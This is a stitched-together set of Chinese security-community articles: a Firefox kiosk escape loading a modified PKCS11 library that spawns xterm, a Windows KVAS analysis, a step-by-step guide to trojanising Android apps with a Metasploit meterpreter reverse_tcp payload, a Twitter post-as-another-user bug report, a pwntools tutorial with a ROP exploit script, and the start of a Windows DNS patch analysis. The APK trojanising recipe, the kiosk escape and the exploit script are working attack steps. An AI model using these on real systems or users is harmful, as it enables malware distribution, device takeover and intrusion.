对于此类受限环境，攻击者通常会尝试寻找方法绕过已发布应用程序，以便在底层操作系统上执行命令。攻击者的最终目标通常是在系统上建立立足点，并可能危及与其相连的其他系统。攻击者可能造成各种后果，比如经济损失、敏感数据丢失等，具体取决于受攻击系统的用途。
在Windows中，攻击者有许多众所周知的方法来创建交互式shell，例如粘滞键（Sticky
Keys）、“文件打开”对话框、在地址栏中输入命令、帮助菜单等。在Linux环境中，情况更加复杂，单单在浏览器地址栏中输入命令并不足以完成任务。
本文描述了一种攻击技术，通过在Mozilla Firefox中包含基于智能卡的身份验证（PKCS11）的自定义模块，攻击者可以在底层操作系统上执行代码。
本文重点分析的是Linux环境，但如果底层操作系统为Windows，我们也可以完成相同任务。
## 0x01 侦察踩点
在安全评估目标环境时，第一步是进行踩点，以尽可能多地探测目标系统相关环境。如果当前环境中唯一可用的应用程序是Firefox，会给我们的踩点过程带来非常大的麻烦，但这并非不可完成的任务。我们可以使用“文件打开”对话框来确定文件系统的结构。在某些情况下，文件打开/文件保存对话框可能处于锁定状态，避免用户显示目录或者显示文件。然而，Firefox允许任何用户使用`file:`协议处理程序来遍历文件系统。调用`file:///`后我们可以探测底层操作系统的根目录，如下图所示：
我们可以探测某些有趣的目录，比如`/etc`目录，该目录中可以帮助我们了解系统相关配置信息，或者可以探测`/tmp`目录，该目录全局可写，可以帮助我们将文件释放到目标系统上。我们不仅可以浏览目录，还可以浏览当前用户可读的文件，如`/etc/os-release`：
收集有关操作系统的这些信息对于后续攻击过程来说非常重要。通过“帮助”菜单和“关于Firefox”对话框，我们发现正在运行的Firefox为32位进程。这个信息非常有用，因为攻击模块的架构必须与进程的架构相匹配。
## 0x02 使用自定义PKCS11模块突破限制
获得交互式shell的选项并不多，但Mozilla Firefox中的“Security Devices”功能可以允许我们加载本地存储的`* .so`或`*
.dll`文件。此功能主要用于配置基于智能卡的身份验证，例如，当Web服务器需要客户端证书时就需要使用该功能。该功能的具体实现基于PKCS11标准，该标准中还定义了与智能卡通信的API。
现在我们已经确定了进程架构和下载文件的位置，我们可以通过三个步骤来创建满足我们需求的一个PKCS11库，这个库可以生成一个shell，并且能够与Mozilla
Firefox兼容：
1、寻找合适的PKCS11库；
2、修改并编译PKCS11库；
3、调整生成库文件的动态依赖。
### 寻找合适的PKCS11库
满足基本需求的一个模块就是开元的`OpenSC`中间件，具体源码可以在Github上找到：<https://github.com/OpenSC/OpenSC。>
能够与PKCS11 API通信的库需要实现以下函数：
C_Initialize()
C_GetInfo()
C_GetSlotList()
C_GetTokenInfo()
C_OpenSession()
C_GetMechanismList()
如果从头开始实现满足条件的模块将需要大量时间，但我们可以利用现有的OpenSC代码库来进行必要的定制。
### 修改并编译PKCS11库
为了理解代码执行过程，我们首先需要找到代码“入口点”。远吗中有个文件非常重要：`src/pkcs11/pkcs11-global.c`：
CK_RV C_Initialize(CK_VOID_PTR pInitArgs)
{
CK_RV rv;
#if !defined(_WIN32)
pid_t current_pid = getpid();
#endif
int rc;
unsigned int i;
sc_context_param_t ctx_opts;
如上代码片段表明浏览器加载PKCS11模块后会自动调用`C_Initialize`函数。，因此我们可以在这里添加一些额外的代码：
CK_RV C_Initialize(CK_VOID_PTR pInitArgs)
{
int res = system("/usr/bin/xterm");
printf("%d", res);
CK_RV rv;
#if !defined(_WIN32)
pid_t current_pid = getpid();
#endif
int rc;
unsigned int i;
sc_context_param_t ctx_opts;
我们插入了一个`system()`调用，该命令可以调用外部应用程序，在本例中我们使用的外部程序为`/usr/bin/xterm`，以便获得交互式终端。请注意，代码中的`system()`调用会阻止Firefox进程的主线程，使其在xterm关闭之前处于无法响应状态。然而，对于概念证明场景来说，这种使用方式已经足够说明问题。
对于简单的概念验证场景，这种修改操作已经满足要求。我们现在需要针对32位架构来编译OpenSC项目，因为我们正在运行的目标Firefox实例为32位进程。编译项目后，Firefox可以打开的共享库名为`opensc-pkcs11.so`，具体路径位于`src/pkcs11/.libs/`中。在目标系统可访问的Web服务器上托管该文件后，我们需要将其下载到目标系统，比如我们可以使用浏览器的“将链接另存为”功能。首次将此文件加载到Firefox中时通常会失败，我们可以看到“模块加载失败”这种错误消息。这主要是因为当前环境缺少`opensc-pkcs11.so`所依赖的一些库，这意味着我们需要调整载荷对库的动态依赖。
### 调整动态依赖
为了找出当前缺少哪些库，我们可以使用`ldd`命令：
root@debian:~/OpenSC/src/pkcs11/.libs# ldd opensc-pkcs11.so
linux-gate.so.1 (0xb774b000)
libopensc.so.6 => /root/OpenSC/src/libopensc/.libs/libopensc.so.6 (0xb75a4000)
libdl.so.2 => /lib/i386-linux-gnu/libdl.so.2 (0xb758c000)
libpthread.so.0 => /lib/i386-linux-gnu/libpthread.so.0 (0xb756d000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb73b6000)
/lib/ld-linux.so.2 (0xb774d000)
如上图所示，编译后的`opensc-pkcs11.so`模块依赖于名为`libopensc.so.6`的一个库，具体路径为`/root/OpenSC/src/libopensc/.libs/libopensc.so.6`。到目前为止，目标系统中只下载了`opensc-pkcs11.so`，并且这个库找不到`libopensc.so.6`，因此会出现错误情况。
我们可以使用`patchelf`工具来调整`libopensc.so.6`的加载位置。如果想要将搜索路径从`/root/OpenSC/src/libopensc/.libs/`更改为`/tmp/`，我们可以使用以下命令：
patchelf --set-rpath /tmp opensc-pkcs11.so
该命令可以将`rpath`更改为`/tmp`。要检查路径修改是否成功，我们可以再次调用`ldd`命令：
root@debian:~/OpenSC/src/pkcs11/.libs# ldd opensc-pkcs11.so
linux-gate.so.1 (0xb774b000)
libopensc.so.6 => /tmp/libopensc.so.6 (0xb75a4000)
libdl.so.2 => /lib/i386-linux-gnu/libdl.so.2 (0xb758c000)
libpthread.so.0 => /lib/i386-linux-gnu/libpthread.so.0 (0xb756d000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb73b6000)
/lib/ld-linux.so.2 (0xb774d000)
修改共享对象后，所有攻击载荷已准备就绪。如果想要生成shell，需要执行以下操作：
1、将修改后的`libopensc.so.6`下载到`/tmp/`目录中；
2、将修改后的`opensc-pkcs11.so`下载到任意位置；
3、在Firefox中将`opensc-pkcs11.so`添加为安全设备。
指定共享对象的路径后，Firefox将加载PKCS11模块并执行代码：
如上图所示，xterm已成功运行。
## 0x03 总结
如果我们需要在目标环境中执行代码，并且该环境中Firefox是唯一一个Kiosk应用程序，那么就可以用到本文介绍的这种技术。
尽管这种方法需要提前创建能够执行自定义代码的一个共享对象，但这种方法具备跨平台特性，并且将目标库下载到待攻击的目标系统后，调用起来也非常容易。
## 0x04 参考资料
<https://github.com/OpenSC/OpenSC>
<https://docs.oracle.com/cd/E19120-01/open.solaris/819-2145/6n4f2qhp8/index.html> | 社区文章 |
# 深入分析微软新引入的内核虚拟地址影子（KVAS）特性
|
##### 译文声明
本文是翻译文章，文章原作者 Minh Tran ，文章来源：blog.fortinet.com
原文地址：<https://blog.fortinet.com/2018/01/25/a-deep-dive-analysis-of-microsoft-s-kernel-virtual-address-shadow-feature>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
目前，针对Meltdown和Spectre，各方仍然在努力修复这两个漏洞，包括苹果、甲骨文和微软在内的大型厂商，已经陆续发布了补丁。英特尔发布的补丁存在一些潜在的问题，可能导致用户主机的频繁异常重启，这些潜在问题从Sandy
Bridge架构（2011年）开始就一直存在，直至如今的Kaby Lake（2016年，即第七代酷睿处理器）。
在之前的博客文章（ <https://blog.fortinet.com/2018/01/17/into-the-implementation-of-spectre> ）中，我们详细介绍过Spectre漏洞的原理。此外，我们还在另一篇文章（
<https://blog.fortinet.com/2018/01/12/dr-strangepatch-or-how-i-learned-to-stop-worrying-about-meltdown-and-spectre-and-love-security-advisory-adv180002>
）中，对微软安全公告ADV180002所涉及的补丁进行了技术分析。
该补丁主要引入的一个特性就是内核虚拟地址影子（Kernel Virtual Address
Shadow，由微软提出的一个术语，简称KVAS），由于该特性仅允许用户模式代码访问有限的内核内存，因此能有效防范Meltdown攻击。在本文，我们将对内核虚拟地址影子这一特性进行深入分析。
关于Meltdown和Spectre漏洞，请参见： <https://spectreattack.com/> 。
苹果发布的通告及补丁，请参见： <https://support.apple.com/en-us/HT208394> 。
甲骨文发布的通告及补丁，请参见： <http://www.zdnet.com/article/meltdown-spectre-oracles-critical-patch-update-offers-fixes-against-cpu-attacks/> 。
微软发布的通告及补丁，请参见： <http://www.zdnet.com/article/meltdown-spectre-oracles-critical-patch-update-offers-fixes-against-cpu-attacks/> 。
微软安全公告ADV180002，请参见： <https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ADV180002> 。
## 整体设计
在深入挖掘细节之前，我们有必要先对其有一个整体上的认识。下表由美国互联网应急中心提供，对Spectre和Meltdown的攻击方式进行了概括：
根据反病毒测试研究团队对新发现的119个恶意样本的分析，证实了Meltdown攻击实现的难度确实较低（主要是成本非常低），因此在漏洞被爆出的两周之内，极有可能在实际中被大量利用。所以，微软首先专注于对Meltdown漏洞的修补，是完全合理的。
我们假定读者已经对操作系统的概念和原理有基本的了解，包括虚拟内存、x86与x64、MSR、内核模式与用户模式等。如果你对上述的某些概念不太了解，我们建议你首先查阅《英特尔64和IA-32架构软件开发人员手册》（Intel®
64 and IA-32 Architectures Software Developer’s
Manuals），这是一本权威并且系统的指南，任何新手都可以从这里起步。
下图是内核虚拟地址影子特性的总体设计思路：
从概念上看，该特性分为三部分：入口、中间的任意控制流、出口。这里的关键之处在于，通过巧妙的分页结构，将内核空间与用户空间分隔开。在用户空间和内核空间中，只有少量的页面会被映射。正因如此，即使攻击者成功实现了Meltdown攻击，也无法再进一步泄漏内核内存。入口和出口的swap地址空间会来回交换，使得只有内核代码才有权访问内核内存空间。这样的设计还有一个好处，以后就可以仅对分页结构进行操作，不必再依靠任何硬件级别上提供的额外支持（例如：微代码更新）来实现。
如下图所示，NtOpenProcess的代码区域不可访问，因为它没有使用UserDirectoryTableBase进行映射。
## 详细分析
在这里，重点介绍我们对内核虚拟地址影子（KVAS）分析过程中的主要发现。以下是NT内核自身的关键细节：
Windows 7 x64系统版本号：6.1.7601.24000
大小：5581544字节
Sha256：9A6C19B29EBB8D9399C771F2B570E6DCDDF75AC7F2A5F4E8013F4EC7A31F7CA8
我们发现，KVAS在启动（Boot）过程中就被初始化，会在操作系统初始化过程中被启用。NT内核的入口点称为KiSystemStartup，由操作系统加载器（OS
Loader）调用。KiSystemStartup依次执行一些基础的初始化步骤，其中的一个步骤就是调用KilnitializeBootStructures。
KiInitializeBootStructures将会调用KiEnableKvaShadowing。KiEnableKvaShadowing的功能是负责启用KVAS，并设置KiKvaShadow
= 1。
我们还观察到，基于进程上下文的标识符（即PCID，用于性能优化，以避免刷新整个转换检测缓冲区TLB，也就是俗称的快表）中，全局标志KiKvaShadowMode将被相应地设置为1或2。如果KiFlushPcid
!= 0，则该值为1；如果KiFlushPcid == 0，则该值为2。
整个过程的最关键环节，是建立并配置好系统调用处理器。
在此之前，首先我们迅速介绍一下用于执行系统调用的机制。当执行SYSCALL指令（例如在ntdll.dll中）时，代码执行将会切换到内核模式例程，特殊模块寄存器（Model
Specific
Register）指向该例程的地址。MSR是一个比较特殊的寄存器，必须通过rdmsr和wrmsr这两个CPU指令来借助索引进行访问。例如，IA32_STAR的索引是C0000081，IA32_LSTAR的索引是C0000082等等。
IA32_STAR（0xC0000081）：Ring 0和Ring
3段基址，以及SYSCALL的EIP。在较低的32位中存储的是SYSCALL的EIP，在第32-47位存储内核段基址，在第48-63为存储用户段基址。
IA32_CSTAR（0xC0000083）：兼容模式下，SYSCALL的内核RIP相对寻址。
IA32_LSTAR（0xC0000082）：长模式（Long Mode，即64位）下，SYSCALL的内核RIP相对寻址。
基本上，全局标志KiKvaShadow中的所有结果都会被检查。如果对KiKvaShadow的检查结果为TRUE，就不会使用正常的系统调用处理程序（KiSystemCall32和KiSystemCall64），而是使用影子版本。如果该处理器是AMD的，则会使用AMD专用版本。
当SYSCALL指令被执行时，控制权会立即转移到系统调用处理器，这也就意味着这些处理器也必须被映射到UserDirectoryTableBase中。
同样地，中断服务例程（ISR）也有影子版本：
并且，这些中断服务例程序必须要容易被读取：
## 重点示例：系统调用
为了说明地址空间是如何来回交换的，我们将聚焦于一个重要的示例——系统调用。和以前一样，我们不对其基础原理做过多讲解，如有需要，大家可以从《英特尔系统编程指南（第三卷）》（Intel’s
System Programming Guide (Volume 3)）中进行参考和学习。
KiSystemCall64Shadow如下：
首先，SWAPGS用于将当前GS基址寄存器的值与MSR地址C0000102H（IA32_KERNEL_GS_BASE）中的值进行交换。在最初阶段，映射的内核内存非常少（因此非常安全），所以就必须通过GS段来获取所有重要的信息。从GS:6000h开始，依次包含PML4基址的物理地址（也就是x64系统中的页目录）。
GS段中的关键参数如下：
位于gs:6018h的标志将会被检查，如果需要进行交换（Swap），则PML4基址（对应于内核地址空间）将被移动到CR3之中。移动后，便可以访问内核栈，一切都进入了正轨。我们注意到，不一定每次都需要进行交换，因为该交换很可能已经进行过（比如，在使用系统调用过程中发生了中断）。
需要注意的一点时，当新的PML4移动到CR3之后，地址空间会立即切换，并且紧接着的下一个指令会在新的地址空间（内核私有空间）上发生。但由于KiSystemCall64Shadow被映射到相同的虚拟地址，所以一切还都保持着正常工作。
KiSystemCall64AmdShadow：
从这里可以看出，英特尔版本和AMD版本的系统调用处理器差别非常小：二者最终都调用KiSystemCall64ShadowCommon，并且依次使用KeServiceDescriptorTable（又称系统服务描述符/调度表，简称为SSDT）或KeServiceDescriptorTableShadow（包含win32k.sys中的例程地址）。
系统调用返回如下：
在返回到用户模式之前，地址空间会通过sysret指令得到保护。
## 安全分析
我们对内核的入口和出口进行了相同的分析，这里以中断服务例程（ISR）为例。
中断服务例程：
内核出口：
我们可以看到，同样的设计也适用于ISR。这是一个非常明智的设计，我们可以推断出其中的安全策略。由于只有入口和出口（以及少量的支持数据）被映射，所以内核能够抵御像Meltdown这样的内核攻击。
当然，世界上没有免费的午餐。以前，应用程序对内核进行系统调用或者接收到中断时，内核页表总是存在，所以不需要进行TLB刷新、页表交换等，耗费的资源也比较少。但现在，由于使用了KVAS特性，在系统调用或中断时（例如：NVM
Express SSD等繁重的输入/输出），性能可能会有所下降。在云服务中，这一现象尤为明显，例如EpicGames的例子：
## 总结
总体来说，虚拟内核地址影子是一个非常棒的特性。该特性以一种合理的方式，对系统性能进行了权衡。
本分析报告由FortiGuard Lion团队撰写。 | 社区文章 |
# 【技术分享】如何手动将Metasploit的Payloads注入到Android应用中
|
##### 译文声明
本文是翻译文章，文章来源：pentestlab.blog
原文地址：[https://pentestlab.blog/2017/06/26/injecting-metasploit-payloads-into-android-applications-manually/](https://pentestlab.blog/2017/06/26/injecting-metasploit-payloads-into-android-applications-manually/)
译文仅供参考，具体内容表达以及含义原文为准。
****
译者：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：100RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**写在前面的话**
* * *
现在目前绝大多数的安卓应用程序都缺乏源代码级别的安全保护，因此这也意味着攻击者可以轻而易举地向一个合法安卓应用程序中植入木马病毒或注入恶意Payload，这也是导致安卓端恶意软件传播如此迅猛的其中一个原因。
在移动安全评估领域中，如果企业推向市场的应用程序被证明可以被轻易植入木马或恶意代码的话，不仅企业的声誉会受到影响，而且还会严重打击消费者对其的购买信心。
在我们之前所发表的一篇文章中，我们给大家介绍了如何利用脚本将Metasploit的Payloads注入到安卓应用程序之中，感兴趣的同学可以参阅这篇文章【[文章链接](https://pentestlab.blog/2017/03/13/injecting-metasploit-payloads-into-android-applications/)】。那么在这篇文章中，我们将跟大家讨论如何手动将Metasploit的Payloads注入到安卓应用程序之中。
**第一步：Payload生成**
* * *
Metasploit MsfVenom不仅可以帮助我们生成各种类型的Payload，而且它还可以生成一种包含有Meterpreter
Payload的APK文件。
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.169
LPORT=4444 R > pentestlab.apk
No platform was selected, choosing Msf::Module::Platform::Android from the payload
No Arch selected, selecting Arch: dalvik from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 8839 bytes
下图显示的是我们通过Metasploit生成APK Payload的过程：
**第二步：反编译APK文件**
* * *
在针对目标安卓应用注入Payload并生成最终的恶意文件pentestlab.apk之前，我们首先需要对原本的APK安装文件进行反编译。在这一步骤中，我们需要使用到强大的反编译工具apktool。下面给出的代码可以帮助我们利用apktool来对原本的APK文件进行反编译，并将代码保存至.smali文件中。
java -jar apktool.jar d -f -o payload /root/Downloads/pentestlab.apk
I: Using Apktool 2.2.2 on pentestlab.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /root/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
下图显示的是我们使用apktool反编译APK文件的过程：
**第三步：转移Payload文件**
* * *
完成上述操作之后，我们需要将恶意程序pentestlab.apk中的Payload文件拷贝到smali文件夹之中，即保存了应用程序所有源代码的文件夹内。尤其需要注意的是下面给出的这两个文件目录：
/root/Downloads/payload/smali/com/metasploit/stage
/root/Downloads/original/smali/com/metasploit/stage
**第四步：注入钩子（Hook）**
接下来，我们需要对Android manifest文件进行分析，这样才能帮助我们确定当应用程序开始运行时哪一个才是首先启动的Main
Activity。这一步是必须要做的，否则将有可能导致我们的Payload无法正常执行。
下图演示了如何识别目标安卓应用的Main Activity：
接下来，用下面给出的这行代码替换Main Activity文件中的相关代码，具体如下图所示：
;->onCreate(Landroid/os/Bundle;)V
识别需要替换的代码:
当目标Activity启动之后，下面的代码将会执行Metasploit的Payload：
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
注入Hook：
**
**
**第五步：获取应用程序额外权限**
* * *
为了让我们所注入的Payload能够更加高效地执行，我们需要向Android
Manifest文件中为我们的恶意应用程序添加额外的执行权限，如果用户接受了这些权限请求，那么我们的恶意程序将有可能完全接管目标设备。
添加额外的安卓权限：
**
**
**第六步：重新编译应用程序**
* * *
既然现在我们已经将Payload和额外权限都添加到目标应用程序之中了，那么接下来我们就要将这些代码重新编译成APK文件。编译命令如下：
java -jar apktool.jar b /root/Downloads/original/
编译注入了恶意Payload的APK文件：
**
**
**第七步：对生成的APK文件进行签名**
* * *
应用程序如果没有进行签名的话是无法在安卓设备上安装的，这里我们可以直接使用默认的安卓调试密钥（Android Debug
Key）来对刚才所生成的恶意APK文件进行签名。签名命令如下：
jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA /root/Downloads/original/dist/target.apk androiddebugkey
对APK文件进行签名：
当我们的恶意应用程序在目标设备上成功安装并运行之后，将会自动开启一个Meterpreter会话。
通过注入恶意Payload的安卓APK文件实现Meterpreter会话： | 社区文章 |
# 【技术分享】看我如何利用他人的账号来发推文
|
##### 译文声明
本文是翻译文章，文章来源：kedrisec.com
原文地址：<http://kedrisec.com/twitter-publish-by-any-user/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：160RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**写在前面的话**
近期，我在对社交网络Twitter进行漏洞挖掘（遵循Twitter的漏洞奖励计划）的过程中，发现了一个允许攻击者冒充推特用户发送推文的漏洞，而且攻击者在整个过程中根本不需要访问目标用户的推特账号。
注：这个漏洞在2017年2月26日被发现，并在2017年2月28日得到修复。
漏洞报告参考资料：【[点我获取](https://hackerone.com/reports/208978)】
接下来，让我们一起看一看这个漏洞的技术细节。
**介绍**
这是推特网络中的其中一项服务，地址为<https://ads.twitter.com/>
。这是一个多媒体库，用户一般会在发布推文的时候使用到这个功能。它不仅允许用户上传多媒体文件（视频、图片或GIF动态图像），而且用户还可以查看之前上传的多媒体文件。访问链接如下：
https://ads.twitter.com/accounts/*id_of_your_account*/media
现在，让我们开始分析。
**技术分析**
如果我们在浏览器中访问这个库，我们将能够直接看到“上传多媒体文件”这个功能：
按下“Download media-file”按钮之后，我们要选择一个需要操作的文件，界面如下图所示：
点击上传图片按钮之后，界面如下：
现在，我们将能够做到以下两件事情：
1\. 我们可以发布自己的多媒体文件；
2\. 我们可以与任何一位用户共享多媒体文件；
好的，那么接下来让我们好好分析一下推特提供的这个功能：
我们从中可以了解到以下几点信息：
account_id：也就是用户的账号ID
owner_id：图像所有者的ID
user_id：推文会发送给用户，这个就是该用户的ID
media_key：需要发布的多媒体文件ID
下面是我在测试过程中需要使用到的标记：
账号No1：我的第一个账号
账号No2：我的第二个账号
由于我不记得系统输出的错误语句是什么了，所以我在这里将这些错误信息称为：；《错误No1》和《错误No2》。
**测试**
下面给大家介绍我的漏洞测试步骤：
首先，我拦截了系统的推文发送请求，然后对参数owner_id和user_id进行了修改。这个请求原本是采用POST方法发送的，我将其修改为了GET请求，数据采用json进行封装，然后将账号No1的ID改成了账号No2的ID，但我这一次并没有得到期望的结果，而是收到了系统返回的错误No1。
接下来，我打算只修改owner_id和user_id（POST请求），而这一次我又收到了系统返回的错误No2，我所记得的错误内容大致如下：《owner_id所对应的用户并非这个多媒体文件的真实所有者，这里应该是一个media_key*id被替换*》
于是，接下来我打算做下面这件事情：
我用账号No2登录了ads.twitter.com，进入多媒体库，然后上传我们已经提前知道media_key的图片。
现在让我们一起回到账号No1:
接下来，我们拦截推文的发送请求，然后修改GET方法和POST方法中的参数owner_id和user_id，将信息修改为账号No2的相应数据以及多媒体密钥media_key，media_key是我们之前在上传图片时已经知晓的。但这一次我们得到的结果还是错误No1，这就非常不幸了。但是，当我们在此之前修改了GET和POST方法中的owner_id和user_id参数之后，系统只返回了错误No1。如果只将POST请求中的owner_id和user_id参数进行替换的话，我们就得到了错误No2。
接下来，我们只修改POST方法中的owner_id、user_id以及media_key，然后我们就可以看到系统提示我们推文发布成功了！切换到账号No2之后，我们可以看到那个之前上传于账号No2的图片已经被我们成功发布了，但我们要知道，所有的这些操作可都不是我们通过账号No2所进行的。
**让来我们试试更难的**
好的，现在我们已经可以伪造他人的用户身份来发布推文了，但现在的限制因素较多，而这些限制条件将会降低这个漏洞的严重性。根据上文所述，用来发布推文的用户必须提前上传一个多媒体文件，而且攻击者还必须知道这个文件所对应的media_key，但使用暴力破解这样的方法几乎是不可能获取到这个多媒体密钥的。
虽然现在有各种各样的限制，但我个人认为，这个漏洞很有可能会带来非常严重的影响。由于我们可以共享其他用户所上传的多媒体文件，因此我脑海中突然产生了一个非常有意思的想法，如果我们与其他用户共享了我们的多媒体文件，然后再利用这名用户的账号发布推文的话，那么这名用户将会被视作这个多媒体文件的拥有者，此时系统就不会返回错误No2了，而推文也可以成功发布了。
为了成功利用这个漏洞，我们需要得到多媒体文件的media_key，那么如果这个文件的拥有者是我们自己的话，那media_key就不再是我们的问题了。
攻击场景如下：
1\. 上传我们自己的多媒体文件；
2\. 将该文件与目标用户共享，这个账号就是我们接下来要用来发布推文的账号；
3\. 拦截推文的发送请求，将POST方法中的owner_id和user_id修改为目标账号相对应的数据。
4\. 收到系统返回的通知，提示推文发送成功；
5\. 好好享受这个漏洞吧！ | 社区文章 |
# 摘要
[pwntools](https://github.com/Gallopsled/pwntools
"pwntools")是一个CTF框架和漏洞利用开发库，用Python开发，旨在让使用者简单快速的编写exploit。
# 安装
安装pwntools步骤：
＃更新包
sudo apt-get update
＃安装必要的组件
sudo apt-get install -y python2.7 python -pip python-dev git libssl-dev libffi-dev build-essential
＃升级Python的包管理器
pip install --upgrade pip
＃安装pwntools
sudo pip install --upgrade pwntools
本文旨在描述Python库的功能，以便在脚本或Python交互式控制台中使用。
要想使用pwntools Python库，import一下：
from pwn import *
那么pwntools到底能做什么呢？嗯，几乎所有与开发相关的东西都可以跨任意的体系结构或环境进行开发。
下面是可用模块的简明列表：
- pwnlib.adb — Android Debug Bridge
- pwnlib.asm — Assembler functions
- pwnlib.encoders — Encoding Shellcode
- pwnlib.elf — ELF Executables and Libraries
- pwnlib.exception — Pwnlib exceptions
- pwnlib.flag — CTF Flag Management
- pwnlib.fmtstr — Format string bug exploitation tools
- pwnlib.gdb — Working with GDB
- pwnlib.log — Logging stuff
- pwnlib.protocols — Wire Protocols
- pwnlib.rop — Return Oriented Programming
- pwnlib.runner — Running Shellcode
- pwnlib.shellcraft — Shellcode generation
- pwnlib.shellcraft.<architecture>
- pwnlib.term — Terminal handling
- pwnlib.timeout — Timeout handling
- pwnlib.tubes — Talking to the World!
- pwnlib.tubes.<process|serialtube|SSH>
- pwnlib.update — Updating Pwntools
- pwnlib.useragents — A database of useragent strings
- pwnlib.util.cyclic — Generation of unique sequences
- pwnlib.util.fiddling — Utilities bit fiddling
- pwnlib.util.net — Networking interfaces
- pwnlib.util.packing — Packing and unpacking of strings
# 建立联系
pwn库中最常用的部分之一是，它允许您轻松地连接到Web服务并执行操作。pwntools的[入门文档](https://docs.pwntools.com/en/stable/intro.html
"入门文档")中包含的一个示例是连接到overthewire的 bandit
CTF实验室。Overthewire是一款在线信息安全CTF通关网站，你可以在线Hacking,并为任何刚接触Linux / CLI
等的初级人员提供了手把手教学。
我们可以利用pwn库创建到主机的SSH连接，并对其运行任意命令。每个bandit级别的目标是找到进入下一级别的密码。例如：利用pwntools，您可以开发一个脚本来将SSH连接到目标主机，并运行一系列自动信息收集探针，以确定如何以最佳方式对其进行攻击。
一个不错的例子
# Import the library
from pwn import *
# Connect to the target
shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
# Create an initial process
sh = shell.run('sh')
# Send the process arguments
sh.sendline('ls -la')
# Receive output from the executed command
sh.recvline(timeout=5)
...
...
# Obtain the first flag (password for bandit1)
sh.sendline('cat readme')
# Print the flag
sh.recvline(timeout=5)
# 监听器
pwntools还可以通过编程方式设置监听器(类似于Netcat-LVP
1234)。这给安全人员提供了另一种选择，您喜欢用netcat,但尝试一下pwntools也是个不错的体验。我发现，在黑客攻击中，用不同的工具尝试相同的东西，往往会产生截然不同的结果。
下面是我们创建一个监听器。
# Import pwntools
from pwn import *
# Create the listener
l = listen()
# Create the connection to the listener
r = remote('localhost', l.lport)
press enter twice here or you will be waiting
# Create handler to wait for connection
c = l.wait_for_connection()
# Send some arbitrary data
r.send('hello')
# Receive some arbitrary data
c.recv()
# 打包封装整数
在这个博客的前文中，我们需要将内存地址从大的Endian打包到小的Endian。但很难操作，因为Python的struct包对用户操作并不友好。
所以，pwn库来了。它可以很容易地打印您的数据的大的Endian和小的Endian。最精彩的部分？它甚至可以做64位封装。
# Import pwntools
from pwn import *
# Create some variable with an address
addr = 0xabcdef12
# 32-bit: Big Endian
p32(addr, endian="big"
# 32-bit: Little Endian
p32(addr, endian="big"
# 32-bit: Default is Little Endian
p32(addr)
# 64-bit: Big Endian
p64(addr, endian="big")
# 64-bit: Little Endian
p64(addr, endian="small")
# 64-bit: Default is Little Endian
p64(addr)
# Exploiting ELFs
最后，如何使用pwn库执行基于ROP的缓冲区溢出漏洞？！没有pwn库做不到的，只有你想不到的！
目前，我遇到的唯一一个“自动的”困难就是自动找到一个可以用于ROP的小工具。虽然pwntool库确实拥有ROP.earch()函数，但它似乎并不像文档声明的那样工作。可能是我疏忽了什么。
下面是使用pwntools执行基于ROP的缓冲区溢出：
$ cat exploit.py
# Import the library
from pwn import *
# Create the ELF object
elf = ELF("callme32")
# Find the memory addresses for relevant functions and pack them
callme_one = p32(elf.symbols["callme_one"])
callme_two = p32(elf.symbols["callme_two"])
callme_three = p32(elf.symbols["callme_three"])
# Pack the address for the gadget we plan to leverage
poppoppop = p32(0x080488a9)
# Pack the arguments for the functions we want to call
args = p32(1) + p32(2) + p32(3)
# Build the payload
payload = "A" * 44
payload += callme_one + poppoppop + args
payload += callme_two + poppoppop + args
payload += callme_three + poppoppop + args
# Execute our application with our buffer overflow string
io = elf.process()
io.sendline(payload)
io.interactive()
教程来源：https://bytesoverbombs.io/quickie-pwntools-414bb89ef83f | 社区文章 |
# Windows DNS Server 漏洞研究之补丁分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
2021 年 3 月，微软于补丁日发布了关于 Windows DNS Server 的五个远程代码执行漏洞和两个拒绝服务漏洞，漏洞编号如下：
**RCE漏洞**
CVE-2021-26877，CVE-2021-26897（Exploitation More Likely）
CVE-2021-26893，CVE-2021-26894，CVE-2021-26895（Exploitation Less Likely）
**DoS漏洞**
CVE-2021-26896，CVE-2021-27063（Exploitation Less Likely）
Windows DNS Server
存在多个远程代码执行漏洞和拒绝服务漏洞，攻击者可通过向目标主机发送特制请求来利用这些漏洞，成功利用这些漏洞可在目标主机上以 SYSTEM
权限执行任意代码或导致 DNS 服务拒绝服务。启用安全动态更新可暂时缓解这些漏洞，但攻击者依然可以通过加入域的计算机攻击启用了安全区域更新的 DNS
服务器。
## 攻击面说明
从通告的 FAQ 说明上看，这些漏洞都存在于 Windows DNS Server 进行动态区域更新的过程中。DNS 更新功能使 DNS
客户端计算机能够在发生更改时向 DNS 服务器注册并动态更新其资源记录（RR）。 使用此功能可以缩短手动管理区域记录所需的时间，从而改进 DNS
管理。动态区域更新功能可以部署在独立的 DNS 服务器或 Active Directory（AD）集成的 DNS 服务器上。最佳实践是部署与 AD
集成的DNS，以便利用 Microsoft 的安全性，如 Kerberos 和 GSS-TSIG。
动态更新类型：
* **安全动态区域更新：** 验证所有 RR 更新均已使用加入域的计算机上的 GSS-TSIG 进行了数字签名。此外，可以对哪些主体可以执行动态区域更新应用更精细的控件。
* **不安全的动态区域：** 任何计算机无需任何身份验证即可更新 RR（不建议）。
